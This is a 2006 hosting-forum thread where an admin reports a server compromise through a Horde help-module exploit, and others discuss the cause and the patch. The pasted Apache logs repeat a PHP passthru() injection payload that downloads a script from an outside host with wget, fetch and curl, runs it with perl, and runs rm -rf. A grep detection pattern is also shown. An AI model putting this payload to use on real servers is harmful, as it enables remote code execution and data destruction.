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Security Update: HORDER Exploit

Discussion in 'Security' started by stugster, Sep 8, 2006.

  1. stugster

    stugster Well-Known Member

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    Hey guys, just letting you know that our server was compromised and completely messed up last night by a Horde exploit.

    Here's an output from our technician:

    The hacker got into the server using an apache exploit:
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    egrep -i '(chr\(|system\()|(curl|wget|chmod|gcc|perl)%20' /usr/local/apache/logs/*

    [28/Apr/2006:06:27:52 -0500] " GET /horde-cvs/horde/services/help/?show=about& module=; %22.passthru(%22killall%20-9%20perl; cd%20%22.chr(47).%22tmp; wget%20http:%22.chr(47).%22%22.chr(47).%22elsotanodg.com%22.chr(47).%22h; fetch%20http:%22.chr(47).%22%22.chr(47).%22elsotanodg.com%22.chr(47).%22h; curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22elsotanodg.com%22.chr(47).%22h; perl%20h; rm%20-rf%20*%22); '. HTTP/1.1" 302 310
    /usr/local/apache/logs/access_log:200.32.97.251 - - [28/Apr/2006:06:27:52 -0500] " GET /pub/horde-cvs/horde/services/help/?show=about& module=; %22.passthru(%22killall%20-9%20perl; cd%20%22.chr(47).%22tmp; wget%20http:%22.chr(47).%22%22.chr(47).%22elsotanodg.com%22.chr(47).%22h; fetch%20http:%22.chr(47).%22%22.chr(47).%22elsotanodg.com%22.chr(47).%22h; curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22elsotanodg.com%22.chr(47).%22h; perl%20h; rm%20-rf%20*%22); '. HTTP/1.1" 302 310
    /usr/local/apache/logs/access_log:200.32.97.251 - - [28/Apr/2006:06:27:56 -0500] " GET /horde/services/help/?show=about& module=; %22.passthru(%22killall%20-9%20perl; cd%20%22.chr(47).%22tmp; wget%20http:%22.chr(47).%22%22.chr(47).%22elsotanodg.com%22.chr(47).%22h; fetch%20http:%22.chr(47).%22%22.chr(47).%22elsotanodg.com%22.chr(47).%22h; curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22elsotanodg.com%22.chr(47).%22h; perl%20h; rm%20-rf%20*%22); '. HTTP/1.1" 404 -

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    We're going to have to migrate to another box - rather than just messing about with the files.

    Just a heads up for you's!
     
    #1 stugster, Sep 8, 2006
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    I think passthru() and other "dangerous" functions in PHP should be disabled by default on all webhosting boxes!
     
    #2 netlook, Sep 8, 2006
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    Was it a Horde vulnerability or an Apache vulnerability? You state both. Your logs show Horde. Which would mean that Horde is accessible on your server remotely without first authenticating for webmail.


    [28/Apr/2006:06:27:52 -0500] " GET /horde-cvs/horde/services/help/?show=about& module=; %22.passthru(%22killall%20-9%20perl; cd%20%22.chr(47).%22tmp; wget%20http:%22.chr(47).%22%22.chr(47).%22elsotano dg.com%22.chr(47).%22h; fetch%20http:%22.chr(47).%22%22.chr(47).%22elsotan odg.com%22.chr(47).%22h; curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22elsotan odg.com%22.chr(47).%22h; perl%20h; rm%20-rf%20*%22); '. HTTP/1.1" 302 310
    /usr/local/apache/logs/access_log:200.32.97.251 - -

    [28/Apr/2006:06:27:52 -0500] " GET /pub/horde-cvs/horde/services/help/?show=about& module=; %22.passthru(%22killall%20-9%20perl; cd%20%22.chr(47).%22tmp; wget%20http:%22.chr(47).%22%22.chr(47).%22elsotano dg.com%22.chr(47).%22h; fetch%20http:%22.chr(47).%22%22.chr(47).%22elsotan odg.com%22.chr(47).%22h; curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22elsotan odg.com%22.chr(47).%22h; perl%20h; rm%20-rf%20*%22); '. HTTP/1.1" 302 310
    /usr/local/apache/logs/access_log:200.32.97.251 - -


    The 3rd log was a 404. The first 2 logs, shown above, are from April. The Horde exploit in the logs is old now, having been out for a few months and already patched.
     
    #3 randomuser, Sep 8, 2006
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